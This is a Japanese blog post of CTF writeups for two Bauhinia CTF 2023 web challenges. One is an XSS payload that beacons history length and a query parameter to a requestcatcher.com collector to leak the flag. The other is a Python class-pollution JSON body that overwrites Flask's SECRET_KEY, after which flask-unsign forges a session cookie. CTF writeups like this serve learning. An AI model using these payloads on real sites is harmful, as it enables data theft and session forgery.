はまやんはまやんはまやん

hamayanhamayan's blog

Bauhinia CTF 2023 Writeups

[web] Carpe Diem

以下のような自由にXSSできるサイトが与えられる。

<html>
<head>
    <title>Carpe Diem</title>
</head>
<body onload="convert()" onhashchange="convert()">
    <h1>Carpe Diem</h1>
    <textarea id="i" onchange="location.hash=btoa(i.value)" style="width:400;height:300"></textarea>
    <iframe id="o" style="width:400;height:300"></iframe>
    <script>
        convert = () => {
            i.value = atob(location.hash.slice(1));
            o.srcdoc = i.value;
        }
    </script>
</body>
</html>

重要なのはBOTの部分。

const page = await browser.newPage();

const idx = Math.floor(Math.random() * flag_content.length);
const k = flag_content.charCodeAt(idx) - 65 + 1;

for (let i = 0; i < k; i++) {
    await page.goto(`http://localhost:${PORT}/${crypto.randomBytes(20).toString("hex")}`, {waitUntil: "networkidle0"});
}

await page.goto(url+`?z=${idx}`, {waitUntil: "networkidle2"});

フラグのz番目の文字に対し、Aから何番目かを計算して、その数の分だけページを開く挙動をする。
https://developer.mozilla.org/ja/docs/Web/API/History/length
これが使える。

<script>
navigator.sendBeacon('https://asdfsadfsadf.requestcatcher.com/history' + history.length, '');
</script>

こういうのを踏ませてやれば、ページの履歴数が分かり、何回ページを開いたかを特定可能。
GETパラメタのzも普通に取得可能なので、zと履歴の数をペアで取得可能。
つまり、以下を踏ませてやる。

<script>
    let url = new URL(window.location.href);
    let params = url.searchParams;
    
    navigator.sendBeacon('https://[yours].requestcatcher.com/z' + params.get('z'), '');

    window.location.href = 'http://localhost:12345/#PHNjcmlwdD4KbmF2aWdhdG9yLnNlbmRCZWFjb24oJ2h0dHBzOi8vYXNkZnNhZGZzYWRmLnJlcXVlc3RjYXRjaGVyLmNvbS9oaXN0b3J5JyArIGhpc3RvcnkubGVuZ3RoLCAnJyk7Cjwvc2NyaXB0Pg==';
</script>

あとは根性で送りまくって、全部集める。

POST /z0    21
POST /z1    7
POST /z2    11
POST /z3    28
POST /z4    7
POST /z5    27
POST /z6    17
POST /z7    23
POST /z8    20
POST /z9    6
POST /z10   3
POST /z11   27

これをまとめて適当に整形するとフラグになる。

https://gchq.github.io/CyberChef/#recipe=From_Decimal('Space',false)ADD(%7B'option':'Decimal','string':'62'%7D)&input=MjEgNyAxMSAyOCA3IDI3IDE3IDIzIDIwIDYgMyAyNw

[web] Hansel and Gretel

@app.route("/flag")
def flag():
    if session.get("user") != "witch":
        return render_template("template.html", status=403, message="You are not the witch.")
    return render_template("template.html", status=200, message=os.environ["FLAG"])

このようにsessionのuserがwitchになればいいが、代入できる部分はない。
脆弱点を探すとこのような箇所がある。

def set_(src, dst):
    for k, v in src.items():
        if hasattr(dst, '__getitem__'):
            if dst.get(k) and type(v) == dict:
                set_(v, dst.get(k))
            else:
                dst[k] = v
        elif hasattr(dst, k) and type(v) == dict:
            set_(v, getattr(dst, k))
        else:
            setattr(dst, k, v)

こういう処理を見るとPrototype Pollutionを疑う体になってしまっているので、
そういう視点で考えると、実際にPrototype Pollutionっぽいことが可能。

解法としては、
https://blog.abdulrah33m.com/prototype-pollution-in-python/
これのThere is Moreにある

Overwriting Flask web app secret key that’s used for session signing.

をやる。
色々実験して、Boardクラスのインスタンス(self)からapp.configまで頑張って辿りつくと以下のような感じになる。

POST /save_bulletins HTTP/1.1
Host: chall-us.pwnable.hk:30009
Connection: close
Content-Type: application/json
Content-Length: 311

{
    "new_content": [{ "text":"","title":"" }],
    "__init__": {
        "__globals__": {
            "app": {
                "config": {
                    "SECRET_KEY": "4b57fui6b4mu5v8q34co5us234jiok"
                }
            }
        }
    }
}

new_content部分はバリデータを回避するために入れていて、
4b57fui6b4mu5v8q34co5us234jiokは適当に作った秘密鍵なので何でもいい。
これで秘密鍵を強制させられるので、以下のようにcookieを偽装。

$ flask-unsign --sign --secret 4b57fui6b4mu5v8q34co5us234jiok --cookie "{'user': 'witch'}"
eyJ1c2VyIjoid2l0Y2gifQ.ZOGb7Q.xu5MU2XbHVd26BctjUwNX6qOUL0

これを使えばフラグがもらえる。

GET /flag HTTP/1.1
Host: chall-us.pwnable.hk:30009
Connection: close
Cookie: session=eyJ1c2VyIjoid2l0Y2gifQ.ZOGb7Q.xu5MU2XbHVd26BctjUwNX6qOUL0